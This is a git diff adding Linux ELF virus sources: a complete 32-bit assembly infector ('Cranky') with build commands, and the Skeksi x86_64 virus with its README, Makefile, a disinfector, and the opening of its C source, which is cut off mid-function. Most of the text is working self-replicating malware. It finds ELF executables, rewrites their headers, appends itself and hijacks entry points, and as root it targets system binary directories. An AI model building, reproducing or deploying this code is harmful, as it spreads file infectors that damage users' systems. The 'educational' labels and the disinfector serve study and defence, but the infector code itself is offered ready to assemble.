diff --git a/Linux/Infectors/Cranky-data/LICENSE b/Linux/Infectors/Cranky-data/LICENSE new file mode 100644 index 0000000..99d47c6 --- /dev/null +++ b/Linux/Infectors/Cranky-data/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2016 Eddie Kim + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Linux/Infectors/Cranky-data/README.md b/Linux/Infectors/Cranky-data/README.md new file mode 100644 index 0000000..b59481f --- /dev/null +++ b/Linux/Infectors/Cranky-data/README.md @@ -0,0 +1,21 @@ +Cranky's Data Virus +======================================== +(for educational purpose only!) + +This application is used as my demonstration for: +How to Create a Virus Using the Assembly Language + + +Description: +------------ +This is an educational virus meant for infecting 32-bit ELF executables on Linux. +This virus uses the data segment infection method +This virus only infects ELF executables in the same directory + +To assemble: +----------- +``` +> nasm -f elf -F dwarf -g cranky_data_virus.asm +> ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o +``` + diff --git a/Linux/Infectors/Cranky-data/cranky_data_virus.asm b/Linux/Infectors/Cranky-data/cranky_data_virus.asm new file mode 100644 index 0000000..afa4d73 --- /dev/null +++ b/Linux/Infectors/Cranky-data/cranky_data_virus.asm @@ -0,0 +1,344 @@ +;; nasm -f elf -F dwarf -g cranky_data_virus.asm +;; ld -m elf_i386 -e v_start -o cranky_data_virus cranky_data_virus.o + +section .text + global v_start + +v_start: + ; virus body start + + ; make space in the stack for some uninitialized variables to avoid a .bss section + mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) +loop_bss: + push 0x00 ; reserve 4 bytes (double word) of 0's + sub ecx, 1 ; decrement our counter by 1 + cmp ecx, 0 + jbe loop_bss + mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now. + + call folder + db ".", 0 +folder: + pop ebx ; name of the folder + mov esi, 0 ; reset offset for targets + mov eax, 5 ; sys_open + mov ecx, 0 + mov edx, 0 + int 80h + + cmp eax, 0 ; check if fd in eax > 0 (ok) + jbe v_stop ; cannot open file. Exit virus + + mov ebx, eax + mov eax, 0xdc ; sys_getdents64 + mov ecx, edi ; fake .bss section + add ecx, 32 ; offset for buffer + mov edx, 1024 + int 80h + + mov eax, 6 ; close + int 80h + xor ebx, ebx ; zero out ebx as we will use it as the buffer offset + +find_filename_start: + ; look for the sequence 0008 which occurs before the start of a filename + inc ebx + cmp ebx, 1024 + jge infect + cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer + jnz find_filename_start + inc ebx + cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer + jnz find_filename_start + + xor ecx, ecx ; clear out ecx which will be our offset for file + mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename + inc ecx + mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename + inc ecx + +find_filename_end: + ; look for the 00 which denotes the end of a filename + inc ebx + cmp ebx, 1024 + jge infect + + push esi ; save our target offset + mov esi, edi ; fake .bss + add esi, 32 ; offset for buffer + add esi, ebx ; set source + push edi ; save our fake .bss + add edi, ecx ; set destination to filename + movsb ; moved byte from buffer to filename + pop edi ; restore our fake .bss + pop esi ; restore our target offset + inc ecx ; increment offset stored in ecx + + cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename + jnz find_filename_end + + mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer + + push ebx ; save our offset in buffer + call scan_file + pop ebx ; restore our offset in buffer + + jmp find_filename_start ; find next file + +scan_file: + ; check the file for infectability + mov eax, 5 ; sys_open + mov ebx, edi ; path (offset to filename) + mov ecx, 0 ; O_RDONLY + int 80h + + cmp eax, 0 ; check if fd in eax > 0 (ok) + jbe return ; cannot open file. Return + + mov ebx, eax ; fd + mov eax, 3 ; sys_read + mov ecx, edi ; address struct + add ecx, 2080 ; offset to targetfile in fake .bss + mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature + int 80h + + call elfheader + dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness) +elfheader: + pop ecx + mov ecx, dword [ecx] + cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss + jnz close_file ; not an executable ELF binary. Return + + ; check if infected + mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness + cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss + jz close_file ; signature exists. Already infected. Close file. + +save_target: + ; good target! save filename + push esi ; save our targets offset + push edi ; save our fake .bss + mov ecx, edi ; temporarily place filename offset in ecx + add edi, 1056 ; offset to targets in fake .bss + add edi, esi + mov esi, ecx ; filename -> edi -> ecx -> esi + mov ecx, 32 + rep movsb ; save another target filename in targets + pop edi ; restore our fake .bss + pop esi ; restore our targets offset + add esi, 32 + +close_file: + mov eax, 6 + int 80h + +return: + ret + +infect: + ; let's infect these targets! + cmp esi, 0 + jbe v_stop ; there are no targets :( exit + + sub esi, 32 + + mov eax, 5 ; sys_open + mov ebx, edi ; path + add ebx, 1056 ; offset to targets in fake .bss + add ebx, esi ; offset of next filename + mov ecx, 2 ; O_RDWR + int 80h + + mov ebx, eax ; fd + + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + +reading_loop: + mov eax, 3 ; sys_read + mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized) + int 80h + + cmp eax, 0 ; if this is 0, we've hit EOF + je reading_eof + mov eax, edi + add eax, 9312 ; 2080 + 7232 + cmp ecx, eax ; if the file is over 7232 bytes, let's quit + jge infect + add ecx, 1 + jmp reading_loop + +reading_eof: + push ecx ; store address of last byte read. We'll need this later + mov eax, 6 ; close file + int 80h + + xor ecx, ecx + xor eax, eax + mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries) + mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset) + sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop + +program_header_loop: + ; loop through program headers and find the data segment (PT_LOAD, offset>0) + + ;0 p_type type of segment + ;+4 p_offset offset in file where to start the segment at + ;+8 p_vaddr his virtual address in memory + ;+c p_addr physical address (if relevant, else equ to p_vaddr) + ;+10 p_filesz size of datas read from offset + ;+14 p_memsz size of the segment in memory + ;+18 p_flags segment flags (rwx perms) + ;+1c p_align alignement + add ax, word [edi+2080+42] + cmp ecx, 0 + jbe infect ; couldn't find data segment. let's close and look for next target + sub ecx, 1 ; decrement our counter by 1 + + mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment) + cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... + jne program_header_loop ; it's not PT_LOAD. look for next program header + + mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) + cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment + je program_header_loop ; it's the text segment. We're interested in the data segment + + mov ebx, dword [edi+2080+24] ; old entry point + push ebx ; save the old entry point + mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header) + mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk) + add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz + push ebx ; save the offset of our virus + mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory) + add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz + + mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header) + mov [edi+2080+8], ecx + mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer) + add edx, v_stop - v_start ; add size of our virus to phdr->filesz + add edx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer) + mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory) + add ebx, v_stop - v_start ; add size of our virus to phdr->memsz + add ebx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer) + + xor ecx, ecx + xor eax, eax + mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries) + mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset) + sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop + +section_header_loop: + ; loop through section headers and find the .bss section (NOBITS) + + ;0 sh_name contains a pointer to the name string section giving the + ;+4 sh_type give the section type [name of this section + ;+8 sh_flags some other flags ... + ;+c sh_addr virtual addr of the section while running + ;+10 sh_offset offset of the section in the file + ;+14 sh_size zara white phone numba + ;+18 sh_link his use depends on the section type + ;+1c sh_info depends on the section type + ;+20 sh_addralign alignement + ;+24 sh_entsize used when section contains fixed size entrys + add ax, word [edi+2080+46] + cmp ecx, 0 + jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection + sub ecx, 1 ; decrement our counter by 1 + + mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section) + cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section + jne section_header_loop ; it's not the .bss section + + mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory) + add ebx, v_stop - v_start ; add size of our virus to shdr->addr + add ebx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer) + +section_header_loop_2: + mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section) + add edx, v_stop - v_start ; add size of our virus to shdr->offset + add edx, 7 ; for the jmp to original entry point + mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer) + + add eax, 40 + sub ecx, 1 + cmp ecx, 0 + jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping + +finish_infection: + ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point) + ;dword [edi+2080+28] ; ehdr->phoff (program header offset) + ;dword [edi+2080+32] ; ehdr->shoff (section header offset) + ;word [edi+2080+40] ; ehdr->ehsize (size of elf header) + ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry) + ;word [edi+2080+44] ; ehdr->phnum (number of program header entries) + ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry) + ;word [edi+2080+48] ; ehdr->shnum (number of program header entries) + mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point + add eax, 7 ; for the jmp to original entry point + mov ebx, dword [edi+2080+32] ; the original section header offset + add eax, ebx ; add the original section header offset + mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer) + + mov eax, 5 ; sys_open + mov ebx, edi ; path + add ebx, 1056 ; offset to targets in fake .bss + add ebx, esi ; offset of next filename + mov ecx, 2 ; O_RDWR + int 80h + + mov ebx, eax ; fd + mov eax, 4 ; sys_write + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + pop edx ; host file up to the offset where the virus resides + int 80h + mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer + + call delta_offset +delta_offset: + pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus + sub ebp, delta_offset + + mov eax, 4 + lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset) + mov edx, v_stop - v_start ; size of virus bytes + int 80h + + pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename) + mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte) + mov [edi+1], edx ; original entry point (4 bytes) + mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes) + + mov eax, 4 + mov ecx, edi ; offset to filename in fake .bss + mov edx, 7 ; 7 bytes for the final jmp to the original entry point + int 80h + + mov eax, 4 ; sys_write + mov ecx, edi + add ecx, 2080 ; offset to targetfile in fake .bss + mov edx, dword [edi+7] ; offset of the virus + add ecx, edx ; let's continue where we left off + + pop edx ; offset of last byte in targetfile in fake.bss + sub edx, ecx ; length of bytes to write + int 80h + + mov eax, 36 ; sys_sync + int 80h + + mov eax, 6 ; close file + int 80h + + jmp infect + +v_stop: + ; virus body stop (host program start) + mov eax, 1 ; sys_exit + mov ebx, 0 ; normal status + int 80h + diff --git a/Linux/Infectors/Skeksi/Makefile b/Linux/Infectors/Skeksi/Makefile new file mode 100644 index 0000000..04150d2 --- /dev/null +++ b/Linux/Infectors/Skeksi/Makefile @@ -0,0 +1,7 @@ +all: virus +virus: + gcc -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o + #gcc -g -DDEBUG -O0 -fno-stack-protector -c virus.c -fpic -mcmodel=small -o virus.o + gcc -N -fno-stack-protector -nostdlib virus.o -o virus +clean: + rm -f virus diff --git a/Linux/Infectors/Skeksi/README.md b/Linux/Infectors/Skeksi/README.md new file mode 100644 index 0000000..a9908f2 --- /dev/null +++ b/Linux/Infectors/Skeksi/README.md @@ -0,0 +1,46 @@ +# skeksi_virus + +Linux X86_64 ELF Virus that just might ruin someones day in the wrong hands + +## General about + +This Virus is humurous, but it is also nasty and should not be executed on any system unless +it is a controlled environmnent, or an expendable Virtual machine setup specifically to host +malware. The Skeksi Virus was written merely for the sake of inventiveness, and to demonstrate +how to write a quality Virus for Linux, mostly in C. It is a work in progress and is not yet +complete. + +## Virus specifications + +### Infection techniques + +* Extends text segment in reverse to make room for parasite + +This technique is nice, because it is less suspicious. The entry point still points into the +.text section of the executable, and there is no modifications to the segment permissions or +segment type (such as converting a PT_NOTE to PT_LOAD). + +* Infects the PLT/GOT + +Currently the Virus only looks for the puts() function which is used to print strings and is +often linked into an executable instead of printf(). The result is that an infected binary will +print everything to stdout in l33t sp34k, randomly with a probability of 1 in 5. + +## Infection behaviour + +The virus will infect only x86_64 ELF ET_EXEC binaries that are dynamically linked. The virus +will soon also be able to infect shared libaries, but some adjustments must be made to take +into account the position independent type executables. The virus will mark an infected file's +EI_PAD area (9 bytes into the ELF file header) with a magic number 0x15D25. This prevents it +from re-infecting a given file. + +If the Virus is launched as a non-root user, it will only infect binaries in the CWD. If the +virus is launched with root privileges it will randomly select one of four directories: +/bin, /usr/bin, /sbin, /usr/sbin. After it picks a target directory it will have a 1 in 10 +chance of infecting each file as it iterates through all of them. + +## Nuances and notes + +Notice we do store string literals, not just on the stack. This is because the text and data +segment are merged into a single segment and each time the virus copies itself, it copies +all of the string data as well. diff --git a/Linux/Infectors/Skeksi/disinfect/Makefile b/Linux/Infectors/Skeksi/disinfect/Makefile new file mode 100644 index 0000000..a7d2920 --- /dev/null +++ b/Linux/Infectors/Skeksi/disinfect/Makefile @@ -0,0 +1,4 @@ +all: + gcc -O2 disinfect.c -o disinfect +clean: + rm -f disinfect diff --git a/Linux/Infectors/Skeksi/disinfect/disinfect.c b/Linux/Infectors/Skeksi/disinfect/disinfect.c new file mode 100644 index 0000000..da61524 --- /dev/null +++ b/Linux/Infectors/Skeksi/disinfect/disinfect.c @@ -0,0 +1,359 @@ +/* + * Skeksi Virus disinfector, by ElfMaster. January 2016 + * + * -= About: + * This disinfector is the first prototype, it is written for those who may have been so unfortunate + * as to infect their own system. The disinfector will work any infected ET_EXEC file, provided that + * it has section headers. This is somewhat of a weakness considering the Virus itself works on executables + * that have no section headers. If you need to change this, its pretty easy, just parse the program + * headers and get PT_DYNAMIC, and then use the D_TAG's to find the PLT/GOT, Relocation, and dynamic + * symbol table. + * + * -= Usage: + * gcc -O2 skeksi_disinfect.c -o disinfect + * ./disinfect + + * elfmaster [4t] zoho.com + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct elfdesc { + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + Elf64_Addr textVaddr; + Elf64_Addr dataVaddr; + Elf64_Addr dataOff; + size_t textSize; + size_t dataSize; + uint8_t *mem; + struct stat st; + char *path; +} elfdesc_t; + +#define TMP ".disinfect_file.xyz" + +/* + * If we find push/ret, and the address + * being pushed is within the text segment + * of the regular x86_64 text range per the + * default linker script, then we are probably + * in good shape. + * note: 0x400000 is the default text base + */ +uint32_t locate_orig_entry(elfdesc_t *elf) +{ + uint32_t i, entry; + uint8_t *mem = elf->mem; + for (i = 0; i < elf->st.st_size; i++) { + if (mem[0] == 0x68 && mem[5] == 0xc3) { + entry = *(uint32_t *)&mem[1]; + if (entry >= 0x400000 && entry < 0x4fffff) + return entry; + } + } + return 0; // couldn't find it, uh oh! +} + +uint32_t locate_glibc_init_offset(elfdesc_t *elf) +{ + uint32_t i; + uint8_t *mem = elf->mem; + + for (i = 0; i < elf->st.st_size; i++) { + if ( + mem[i + 0] == 0x31 && mem[i + 1] == 0xed && + mem[i + 2] == 0x49 && mem[i + 3] == 0x89 && + mem[i + 4] == 0xd1 && mem[i + 5] == 0x5e && + mem[i + 6] == 0x48 && mem[i + 7] == 0x89 && mem[i + 8] == 0xe2) + return i; + } + + return 0; +} + +int disinfect_pltgot(elfdesc_t *elf) +{ + Elf64_Ehdr *ehdr = elf->ehdr; + Elf64_Phdr *phdr = elf->phdr; + Elf64_Shdr *shdr = elf->shdr; + uint8_t *mem = elf->mem; + Elf64_Sym *symtab = NULL; + Elf64_Rela *rela = NULL; + Elf64_Addr addr = 0, plt_addr = 0; + Elf64_Off plt_off = 0, gotoff = 0; + size_t plt_size = 0, symtab_size = 0, rela_size = 0; + char *shstrtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset]; + char *strtab = NULL; + uint8_t *gotptr, *plt; + int i, j, symindex = 0, c = 0; + + for (i = 0; i < ehdr->e_shnum; i++) { + switch(shdr[i].sh_type) { + case SHT_DYNSYM: + symtab = (Elf64_Sym *)&mem[shdr[i].sh_offset]; + symtab_size = shdr[i].sh_size; + strtab = (char *)&mem[shdr[shdr[i].sh_link].sh_offset]; + break; + case SHT_RELA: + if (!strcmp(&shstrtab[shdr[i].sh_name], ".rela.plt")) { + rela = (Elf64_Rela *)&mem[shdr[i].sh_offset]; + rela_size = shdr[i].sh_size; + } + break; + case SHT_PROGBITS: + if (!strcmp(&shstrtab[shdr[i].sh_name], ".plt")) { + plt_off = shdr[i].sh_offset; + plt_addr = shdr[i].sh_addr; + plt_size = shdr[i].sh_size; + } + break; + } + } + if (plt_off == 0 || symtab == NULL || rela == NULL) { + printf("Unable to find relocation/symbol/plt info\n"); + return -1; + } + + plt = &mem[plt_off]; // point at PLT, right past PLT-0 + for (i = 0; i < rela_size/sizeof(Elf64_Rela); i++) { + + symindex = ELF64_R_SYM(rela->r_info); + if (!strcmp(&strtab[symtab[ELF64_R_SYM(rela->r_info)].st_name], "puts")) { + printf("Attempting to disinfect PLT/GOT\n"); + gotoff = elf->dataOff + (rela->r_offset - elf->dataVaddr); + gotptr = &mem[gotoff]; + addr = gotptr[0] + (gotptr[1] << 8) + (gotptr[2] << 16) + (gotptr[3] << 24); + if (!(addr >= plt_addr && addr < plt_addr + plt_size)) { + for (c = 0, j = 0; j < plt_size; j += 16, c++) { + if (c == symindex) { + printf("Successfully disinfected PLT/GOT table\n"); + *(uint32_t *)gotptr = plt_addr + j + 6; + return 0; + } + } + + } + printf("Failed to disinfect PLT/GOT table\n"); + return -1; + } + } + + return 0; +} + +/* + * Expected x86_64 base is 0x400000 in Linux. We rely on that + * here, which may end up being a bit wobbly. + */ +int disinfect(elfdesc_t *elf) +{ + size_t paddingSize; + Elf64_Phdr *phdr = elf->phdr; + Elf64_Shdr *shdr = elf->shdr; + uint32_t text_offset = 0; + char *strtab = NULL; + uint8_t *mem = elf->mem; + int i, textfound, fd; + ssize_t c, last_chunk; + if (elf->textVaddr >= 0x400000) { + printf("unexpected text segment address, this file may not actually be infected\n"); + return -1; + } + + paddingSize = 0x400000 - elf->textVaddr; + + /* + * Remove PLT/GOT hooks if present + */ + int ret = disinfect_pltgot(elf); + + /* + * Remove infection magic + */ + *(uint32_t *)&elf->ehdr->e_ident[EI_PAD] = 0x00000000; + + /* + * PT_PHDR, PT_INTERP were pushed forward in the file + */ + phdr[0].p_offset -= paddingSize; + phdr[1].p_offset -= paddingSize; + + /* + * Set phdr's back to normal + */ + for (textfound = 0, i = 0; i < elf->ehdr->e_phnum; i++) { + if (textfound) { + phdr[i].p_offset -= paddingSize; + continue; + } + if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0 && phdr[i].p_flags & PF_X) { + if (phdr[i].p_paddr == phdr[i].p_vaddr) { + phdr[i].p_vaddr += paddingSize; + phdr[i].p_paddr += paddingSize; + } else + phdr[i].p_vaddr += paddingSize; + /* + * reset segment size for text + */ + phdr[i].p_filesz -= paddingSize; + phdr[i].p_memsz -= paddingSize; + phdr[i].p_align = 0x200000; + phdr[i + 1].p_align = 0x200000; + textfound = 1; + } + } + + text_offset = locate_glibc_init_offset(elf); + + /* + * Straighten out section headers + */ + strtab = (char *)&mem[shdr[elf->ehdr->e_shstrndx].sh_offset]; + for (i = 0; i < elf->ehdr->e_shnum; i++) { + /* + * We treat .text section special because it is modified to + * encase the entire parasite code. Lets change it back to + * only encasing the regular .text stuff. + */ + if (!strcmp(&strtab[shdr[i].sh_name], ".text")) { + if (text_offset == 0) // leave unchanged :( + continue; + shdr[i].sh_offset = text_offset - paddingSize; + shdr[i].sh_addr = (text_offset - paddingSize) + 0x400000; + continue; + } + shdr[i].sh_offset -= paddingSize; + } + + /* + * Set phdr and shdr table back + */ + elf->ehdr->e_shoff -= paddingSize; + elf->ehdr->e_phoff -= paddingSize; + + /* + * Set original entry point + */ + elf->ehdr->e_entry = 0x400000 + text_offset; + elf->ehdr->e_entry -= paddingSize; + + if ((fd = open(TMP, O_CREAT | O_TRUNC | O_WRONLY, elf->st.st_mode)) < 0) + return -1; + + if ((c = write(fd, mem, sizeof(Elf64_Ehdr))) != sizeof(Elf64_Ehdr)) + return -1; + + mem += paddingSize + sizeof(Elf64_Ehdr); + last_chunk = elf->st.st_size - (paddingSize + sizeof(Elf64_Ehdr)); + + if ((c = write(fd, mem, last_chunk)) != last_chunk) + return -1; + + if (fchown(fd, elf->st.st_uid, elf->st.st_gid) < 0) + return -1; + + rename(TMP, elf->path); + + return 0; +} + +int load_executable(const char *path, elfdesc_t *elf) +{ + uint8_t *mem; + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + int fd; + struct stat st; + int i; + + if ((fd = open(path, O_RDONLY)) < 0) { + perror("open"); + return -1; + } + fstat(fd, &st); + + mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + if (mem == MAP_FAILED) { + perror("mmap"); + return -1; + } + + ehdr = (Elf64_Ehdr *)mem; + phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; + shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; + + elf->st = st; + + for (i = 0; i < ehdr->e_phnum; i++) { + switch(!!phdr[i].p_offset) { + case 0: + elf->textVaddr = phdr[i].p_vaddr; + elf->textSize = phdr[i].p_filesz; + break; + case 1: + elf->dataOff = phdr[i].p_offset; + elf->dataVaddr = phdr[i].p_vaddr; + elf->dataSize = phdr[i].p_filesz; + break; + } + } + elf->mem = mem; + elf->ehdr = ehdr; + elf->phdr = phdr; + elf->shdr = shdr; + elf->path = (char *)path; + return 0; + +} + +int test_for_skeksi(elfdesc_t *elf) +{ + uint32_t magic = *(uint32_t *)&elf->ehdr->e_ident[EI_PAD]; + return (magic == 0x15D25); +} + +int main(int argc, char **argv) +{ + elfdesc_t elf; + + if (argc < 2) { + printf("Usage: %s \n", argv[0]); + exit(0); + } + + if (load_executable(argv[1], &elf) < 0) { + printf("Failed to load executable: %s\n", argv[1]); + exit(-1); + } + + if (test_for_skeksi(&elf) == 0) { + printf("File: %s, is not infected with the Skeksi virus\n", argv[1]); + exit(-1); + } + printf("File: %s, is infected with the skeksi virus! Attempting to disinfect\n", argv[1]); + + if (disinfect(&elf) < 0) { + printf("Failed to disinfect file: %s\n", argv[1]); + exit(-1); + } + + printf("Successfully disinfected: %s\n", argv[1]); + + +} + diff --git a/Linux/Infectors/Skeksi/virus.c b/Linux/Infectors/Skeksi/virus.c new file mode 100644 index 0000000..a9ec36f --- /dev/null +++ b/Linux/Infectors/Skeksi/virus.c @@ -0,0 +1,1742 @@ +/* + * Skeksi Virus v0.1 - infects files that are ELF_X86_64 Linux ET_EXEC's + * Written by ElfMaster - ryan@bitlackeys.org + * + * Compile: + * gcc -g -O0 -DANTIDEBUG -DINFECT_PLTGOT -fno-stack-protector -c virus.c -fpic -o virus.o + * gcc -N -fno-stack-protector -nostdlib virus.o -o virus + * + * Using -DDEBUG will allow Virus to print debug output + * + * Usage: + * ./virus + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define VIRUS_LAUNCHER_NAME "virus" + +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[0]; +} __attribute__((packed)); + + + +/* libc */ + +void Memset(void *mem, unsigned char byte, unsigned int len); +void _memcpy(void *, void *, unsigned int); +int _printf(char *, ...); +char * itoa(long, char *); +char * itox(long, char *); +int _puts(char *); +int _puts_nl(char *); +size_t _strlen(char *); +char *_strchr(const char *, int); +char * _strrchr(const char *, int); +int _strncmp(const char *, const char *, size_t); +int _strcmp(const char *, const char *); +int _memcmp(const void *, const void *, unsigned int); +char _toupper(char c); + + +/* syscalls */ +long _ptrace(long request, long pid, void *addr, void *data); +int _prctl(long option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); +int _fstat(long, void *); +int _mprotect(void * addr, unsigned long len, int prot); +long _lseek(long, long, unsigned int); +void Exit(long); +void *_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long); +int _munmap(void *, size_t); +long _open(const char *, unsigned long, long); +long _write(long, char *, unsigned long); +int _read(long, char *, unsigned long); +int _getdents64(unsigned int fd, struct linux_dirent64 *dirp, + unsigned int count); +int _rename(const char *, const char *); +int _close(unsigned int); +int _gettimeofday(struct timeval *, struct timezone *); + +/* Customs */ +unsigned long get_rip(void); +void end_code(void); +void dummy_marker(void); +static inline uint32_t get_random_number(int) __attribute__((__always_inline__)); +void display_skeksi(void); + +#define PIC_RESOLVE_ADDR(target) (get_rip() - ((char *)&get_rip_label - (char *)target)) + +#if defined(DEBUG) && DEBUG > 0 + #define DEBUG_PRINT(fmt, args...) _printf("DEBUG: %s:%d:%s(): " fmt, \ + __FILE__, __LINE__, __func__, ##args) +#else + #define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */ +#endif + +#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE - 1)) +#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE) +#define PAGE_ROUND(x) (PAGE_ALIGN_UP(x)) +#define STACK_SIZE 0x4000000 + +#define TMP ".xyz.skeksi.elf64" +#define RODATA_PADDING 17000 // enough bytes to also copy .rodata and skeksi_banner + +#define LUCKY_NUMBER 7 +#define MAGIC_NUMBER 0x15D25 //thankz Mr. h0ffman + +#define __ASM__ asm __volatile__ + +extern long real_start; +extern long get_rip_label; + +struct bootstrap_data { + int argc; + char **argv; +}; + +typedef struct elfbin { + Elf64_Ehdr *ehdr; + Elf64_Phdr *phdr; + Elf64_Shdr *shdr; + Elf64_Dyn *dyn; + Elf64_Addr textVaddr; + Elf64_Addr dataVaddr; + size_t textSize; + size_t dataSize; + Elf64_Off dataOff; + Elf64_Off textOff; + uint8_t *mem; + size_t size; + char *path; + struct stat st; + int fd; + int original_virus_exe; +} elfbin_t; + +#define DIR_COUNT 4 + +_start() +{ +#if 0 + struct bootstrap_data bootstrap; +#endif + /* + * Save register state before executing parasite + * code. + */ + __ASM__ ( + ".globl real_start \n" + "real_start: \n" + "push %rsp \n" + "push %rbp \n" + "push %rax \n" + "push %rbx \n" + "push %rcx \n" + "push %rdx \n" + "push %r8 \n" + "push %r9 \n" + "push %r10 \n" + "push %r11 \n" + "push %r12 \n" + "push %r13 \n" + "push %r14 \n" + "push %r15 "); + +#if 0 + __ASM__ ("mov 0x08(%%rbp), %%rcx " : "=c" (bootstrap.argc)); + __ASM__ ("lea 0x10(%%rbp), %%rcx " : "=c" (bootstrap.argv)); +#endif + /* + * Load bootstrap pointer as argument to do_main() + * and call it. + */ + __ASM__ ( +#if 0 + "leaq %0, %%rdi\n" +#endif + "call do_main " //:: "g"(bootstrap) + ); + /* + * Restore register state + */ + __ASM__ ( + "pop %r15 \n" + "pop %r14 \n" + "pop %r13 \n" + "pop %r12 \n" + "pop %r11 \n" + "pop %r10 \n" + "pop %r9 \n" + "pop %r8 \n" + "pop %rdx \n" + "pop %rcx \n" + "pop %rbx \n" + "pop %rax \n" + "pop %rbp \n" + "pop %rsp \n" + "add $0x8, %rsp\n" + "jmp end_code " 